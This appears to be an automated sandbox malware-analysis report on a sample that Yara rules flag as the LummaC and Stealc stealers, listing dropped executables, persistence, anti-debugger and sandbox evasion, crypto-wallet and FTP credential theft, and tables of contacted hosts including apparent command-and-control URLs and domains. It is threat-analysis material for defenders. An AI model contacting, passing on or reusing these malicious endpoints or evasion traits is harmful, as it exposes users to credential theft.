Source: Yara match File source: 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 4V88JM9ZW2IZ0ZQGW7B.exe PID: 8040, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 28.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.7617eef03d.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00231204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, 6_2_00231204
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00231806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 6_2_00231806
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1538460 Sample: file.exe Startdate: 21/10/2024 Architecture: WINDOWS Score: 100 109 studennotediw.store 2->109 111 steamcommunity.com 2->111 113 44 other IPs or domains 2->113 133 Suricata IDS alerts for network traffic 2->133 135 Found malware configuration 2->135 137 Antivirus detection for URL or domain 2->137 139 17 other signatures 2->139 10 skotes.exe 2->10         started        15 file.exe 3 2->15         started        17 9b7d422018.exe 2->17         started        19 5 other processes 2->19 signatures3 process4 dnsIp5 125 185.215.113.43, 49834, 49850, 49906 WHOLESALECONNECTIONSNL Portugal 10->125 93 C:\Users\user\AppData\...\768041f87c.exe, PE32 10->93 dropped 95 C:\Users\user\AppData\...\66c6d84346.exe, PE32 10->95 dropped 97 C:\Users\user\AppData\...\572c19a989.exe, PE32 10->97 dropped 107 7 other malicious files 10->107 dropped 185 Creates multiple autostart registry keys 10->185 187 Hides threads from debuggers 10->187 189 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->189 21 9b7d422018.exe 10->21         started        25 48bf814d33.exe 10->25         started        28 20b68761b3.exe 10->28         started        38 5 other processes 10->38 127 sergei-esenin.com 172.67.206.204, 443, 49731, 49732 CLOUDFLARENETUS United States 15->127 129 steamcommunity.com 104.102.49.254, 443, 49730, 49908 AKAMAI-ASUS United States 15->129 131 185.215.113.16, 49745, 49855, 49914 WHOLESALECONNECTIONSNL Portugal 15->131 99 C:\Users\user\...\KGMUJDGOAL6LWD7UD45LIZ.exe, PE32 15->99 dropped 101 C:\Users\user\...\4V88JM9ZW2IZ0ZQGW7B.exe, PE32 15->101 dropped 103 C:\Users\user\...\2SGVUOBNN8HUJ5IDUWDR.exe, PE32 15->103 dropped 191 Query firmware table information (likely to detect VMs) 15->191 193 Found many strings related to Crypto-Wallets (likely being stolen) 15->193 195 Tries to evade debugger and weak emulator (self modifying code) 15->195 201 2 other signatures 15->201 30 KGMUJDGOAL6LWD7UD45LIZ.exe 4 15->30         started        32 2SGVUOBNN8HUJ5IDUWDR.exe 13 15->32         started        34 4V88JM9ZW2IZ0ZQGW7B.exe 15->34         started        105 C:\...\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe, PE32 17->105 dropped 197 Tries to steal Crypto Currency Wallets 17->197 199 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 17->199 36 firefox.exe 19->36         started        file6 signatures7 process8 dnsIp9 77 C:\...\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe, PE32 21->77 dropped 79 C:\Users\...\OCYPTLCO9AJSRPZ2BR0OXVLD.exe, PE32 21->79 dropped 81 C:\Users\user\...behaviorgraphA69253C3MXNERTO3N2QC0.exe, PE32 21->81 dropped 141 Antivirus detection for dropped file 21->141 143 Multi AV Scanner detection for dropped file 21->143 145 Query firmware table information (likely to detect VMs) 21->145 40 OCYPTLCO9AJSRPZ2BR0OXVLD.exe 21->40         started        43 GA69253C3MXNERTO3N2QC0.exe 21->43         started        45 TWGY675O6RDQPKG6OE4IM311M9A2JP.exe 21->45         started        115 eaglepawnoy.store 25->115 83 C:\...\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe, PE32 25->83 dropped 85 C:\Users\...\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe, PE32 25->85 dropped 147 Detected unpacking (changes PE section rights) 25->147 149 Machine Learning detection for dropped file 25->149 151 Tries to evade debugger and weak emulator (self modifying code) 25->151 47 PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe 25->47         started        153 Tries to harvest and steal ftp login credentials 28->153 161 2 other signatures 28->161 87 C:\Users\user\AppData\Local\...\skotes.exe, PE32 30->87 dropped 163 3 other signatures 30->163 49 skotes.exe 30->49         started        117 185.215.113.37, 49746, 49947, 50025 WHOLESALECONNECTIONSNL Portugal 32->117 165 2 other signatures 32->165 155 Binary is likely a compiled AutoIt script file 34->155 157 Found API chain indicative of sandbox detection 34->157 51 taskkill.exe 1 34->51         started        53 taskkill.exe 1 34->53         started        55 4 other processes 34->55 119 bathdoomgaz.store 36->119 121 youtube.com 142.250.186.46, 443, 49755, 49757 GOOGLEUS United States 36->121 123 11 other IPs or domains 36->123 89 C:\Users\user\AppData\...\gmpopenh264.dll.tmp, PE32+ 36->89 dropped 91 C:\Users\user\...\gmpopenh264.dll (copy), PE32+ 36->91 dropped 159 Found many strings related to Crypto-Wallets (likely being stolen) 36->159 57 3 other processes 36->57 file10 signatures11 process12 signatures13 167 Multi AV Scanner detection for dropped file 40->167 169 Tries to evade debugger and weak emulator (self modifying code) 40->169 171 Hides threads from debuggers 40->171 59 taskkill.exe 45->59         started        61 taskkill.exe 45->61         started        173 Tries to detect sandboxes and other dynamic analysis tools (window names) 47->173 175 Tries to detect sandboxes / dynamic malware analysis system (registry check) 47->175 177 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 47->177 179 Antivirus detection for dropped file 49->179 181 Detected unpacking (changes PE section rights) 49->181 183 Machine Learning detection for dropped file 49->183 63 conhost.exe 51->63         started        65 conhost.exe 53->65         started        67 conhost.exe 55->67         started        69 conhost.exe 55->69         started        71 conhost.exe 55->71         started        process14 process15 73 conhost.exe 59->73         started        75 conhost.exe 61->75         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.186.46
 youtube.com United States
15169 GOOGLEUS false
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.37
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.149.100.209
 prod.remote-settings.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.243.93
 push.services.mozilla.com United States
15169 GOOGLEUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
172.67.206.204
 sergei-esenin.com United States
13335 CLOUDFLARENETUS true
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
52.222.236.23
 services.addons.mozilla.org United States
16509 AMAZON-02US false
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
35.201.103.21
 normandy-cdn.services.mozilla.com United States
15169 GOOGLEUS false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
34.120.208.123
 telemetry-incoming.r53-2.services.mozilla.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
star-mini.c10r.facebook.com 157.240.0.35 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
twitter.com 104.244.42.1 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
services.addons.mozilla.org 52.222.236.23 true
sergei-esenin.com 172.67.206.204 true
dyna.wikimedia.org 185.15.59.224 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.186.46 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 216.58.206.46 true
steamcommunity.com 104.102.49.254 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
reddit.map.fastly.net 151.101.65.140 true
ipv4only.arpa 192.0.0.171 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
normandy-cdn.services.mozilla.com 35.201.103.21 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
www.reddit.com unknown unknown
spirittunek.store unknown unknown
spocs.getpocket.com unknown unknown
licendfilteo.site unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
support.mozilla.org unknown unknown
eaglepawnoy.store unknown unknown
firefox.settings.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
www.facebook.com unknown unknown
bathdoomgaz.store unknown unknown
detectportal.firefox.com unknown unknown
studennotediw.store unknown unknown
mobbipenju.store unknown unknown
normandy.cdn.mozilla.net unknown unknown
shavar.services.mozilla.com unknown unknown
clearancek.site unknown unknown
dissapoiznw.store unknown unknown
www.wikipedia.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
dissapoiznw.store true
    		unknown
    https://steamcommunity.com/profiles/76561199724331900 true
      		unknown
      https://sergei-esenin.com/api true
        		unknown
        http://185.215.113.43/Zu7JuNko/index.php true
          		unknown